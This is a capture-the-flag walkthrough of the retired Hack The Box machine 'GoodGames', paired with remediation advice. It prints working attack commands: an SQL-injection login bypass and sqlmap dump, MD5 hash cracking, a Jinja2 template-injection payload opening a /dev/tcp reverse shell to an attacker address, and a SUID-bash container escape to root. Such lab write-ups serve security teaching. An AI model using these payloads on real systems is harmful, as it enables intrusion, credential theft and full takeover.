GoodGames
Summary
Target goodgames.htb ($TARGET) was fully compromised by chaining four weaknesses. A SQL injection flaw in the main gaming-site login form let me bypass authentication and extract the administrator's password hash from the database. That hash was unsalted MD5, cracked offline in seconds to the plaintext <withheld>.
The same password had been reused for the internal Flask administration panel on a second virtual host and for the SSH account of a system user, so one cracked credential unlocked all three services. Once inside the admin panel, a Jinja2 Server-Side Template Injection flaw in the profile-name field gave remote code execution inside a Docker container running as root. From the container, my SSH'd to the underlying host using the reused password and captured the user flag.
The container's root account could write to the host's /home/augustus directory because it was bind-mounted into the container — I placed a SUID-root copy of bash there, executed it on the host, and achieved full root access.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export PASSWORD="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"Attack path — how the box was taken
Exact commands 3
Add both virtual hosts to local DNS resolution before proceeding.
$ echo "$TARGET goodgames.htb internal-administration.goodgames.htb" | sudo tee -a /etc/hostsFull port scan; confirms only port 80 is open.
$ nmap -sV -sC -p- --min-rate 5000 $TARGETFuzz for additional virtual hosts; 'internal-administration' appears with a 302.
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://$TARGET/" -H 'Host: FUZZ.goodgames.htb' -mc 200,302 -fw 0 ' or 1=1-- -) returned HTTP 200 with a fresh session cookie, confirming the server executed the injected SQL. Sqlmap was then run against the same endpoint to enumerate the back-end database, identify the 'main' schema and 'user' table, and dump every row, recovering the administrator's email (admin@goodgames.htb) and its hashed password.Exact commands 3
Manual proof-of-concept: a Set-Cookie header in the 200 response confirms the injection.
$ curl -sS -i -X POST 'http://goodgames.htb/login' --data "email=' or 1=1-- -&password=x"Automated extraction. After it finishes, check ~/.local/share/sqlmap/output/ for the CSV dump.
$ sqlmap -u 'http://goodgames.htb/login' --data='email=admin@goodgames.htb&password=x' -p email --batch --dump --threads=4 --flush-session --answers='follow=Y' | tee /tmp/gg_sqlmap_dump.txtConfirm the dumped rows are present in the sqlmap output directory.
$ find ~/.local/share/sqlmap/output/ -type f \( -name '*.csv' -o -name 'log' \) -exec cat {} +FixReplace string-built SQL queries with parameterized statementsCritical
Exact commands 3
Write the extracted hash to a file for hashcat.
$ echo "$HASH" > /tmp/gg_hash.txtMode 0 = raw MD5. Add --force if running in a VM. Plaintext <withheld> appears in the output.
$ hashcat -m 0 /tmp/gg_hash.txt /usr/share/wordlists/rockyou.txtDisplay the already-cracked result from the hashcat pot file.
$ hashcat -m 0 /tmp/gg_hash.txt --showFixReplace unsalted MD5 with a modern adaptive password hashing algorithmCritical
Exact commands 1
Authenticates and saves the session cookie to /tmp/gg_admin.cookies. Look for a 200 and profile/logout markers.
$ curl -sS -c /tmp/gg_admin.cookies -b /tmp/gg_admin.cookies -X POST 'http://internal-administration.goodgames.htb/login' --data "username=admin@goodgames.htb&password=$PASSWORD" -L -IFixEnforce unique credentials for every service and system accountHigh
{{7*7}} in the name field and saving caused the server to evaluate and return '49' in the rendered page, confirming template injection. A Jinja2 RCE payload using the Python object hierarchy was then submitted to spawn a reverse shell, establishing a root shell inside the Docker container that hosts the admin application.Exact commands 3
SSTI confirmation probe: output of '49' proves the template engine is evaluating input.
$ curl -sS -b /tmp/gg_admin.cookies -c /tmp/gg_admin.cookies -X POST 'http://internal-administration.goodgames.htb/settings' --data-urlencode 'name={{7*7}}' | grep -o '49'Start a reverse-shell listener on your machine (tun0 HTB VPN interface) before the next step.
$ nc -lvnp 4444Replace $ATTACKER_IP with your tun0 IP. Cycler is a Jinja2 global that exposes os. Delivers a root shell inside the Docker container.
$ curl -sS -b /tmp/gg_admin.cookies -c /tmp/gg_admin.cookies -X POST 'http://internal-administration.goodgames.htb/settings' --data-urlencode $'name={{ cycler.__init__.__globals__.os.popen("bash -c \"bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1\"").read() }}'FixNever pass user-controlled strings into the Jinja2 template engineCritical
{{ variable }}), never by constructing or evaluating a template string from user input. Enable autoescape globally in the Flask application. If the application currently calls render_template_string() with user data, replace it with render_template() against a static file. Run the application as an unprivileged user so that RCE through any channel has a limited blast radius.Exact commands 3
Run inside the container shell. The default gateway (e.g. $INTERNAL_HOST) is the host.
$ ip route | grep defaultPassword: $PASSWORD Run from inside the container to reach the host SSH service.
$ ssh augustus@$INTERNAL_HOSTUser flag: <user.txt>.
$ cat /home/augustus/user.txtExact commands 4
Run inside the container as root. Places a SUID-root bash binary in the host-mounted home directory.
$ cp /bin/bash /home/augustus/bash && chmod +s /home/augustus/bashConfirm the -rwsr-sr-x permissions before moving to the host session.
$ ls -la /home/augustus/bashRun on the HOST as augustus (via the SSH session from step 6). The -p flag preserves the SUID effective UID, yielding a root shell.
$ /home/augustus/bash -pRoot flag: <root.txt>.
$ cat /root/root.txtFixRun Docker containers as non-root and never bind-mount writable user home directoriesCritical
-v /path:/path:ro). Avoid bind-mounting home directories containing user SSH sessions or flag files into any container. Enable Docker user-namespace remapping so that container root maps to an unprivileged host UID, preventing privilege escalation even if a root shell is obtained inside the container.Attack patterns used
The transferable techniques behind this compromise.
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Server-Side Template InjectionWebT1190
What it is
When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.
Why it works
The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.
Read more
Exposed services
| 80/tcp | http recon-sweep-discovered |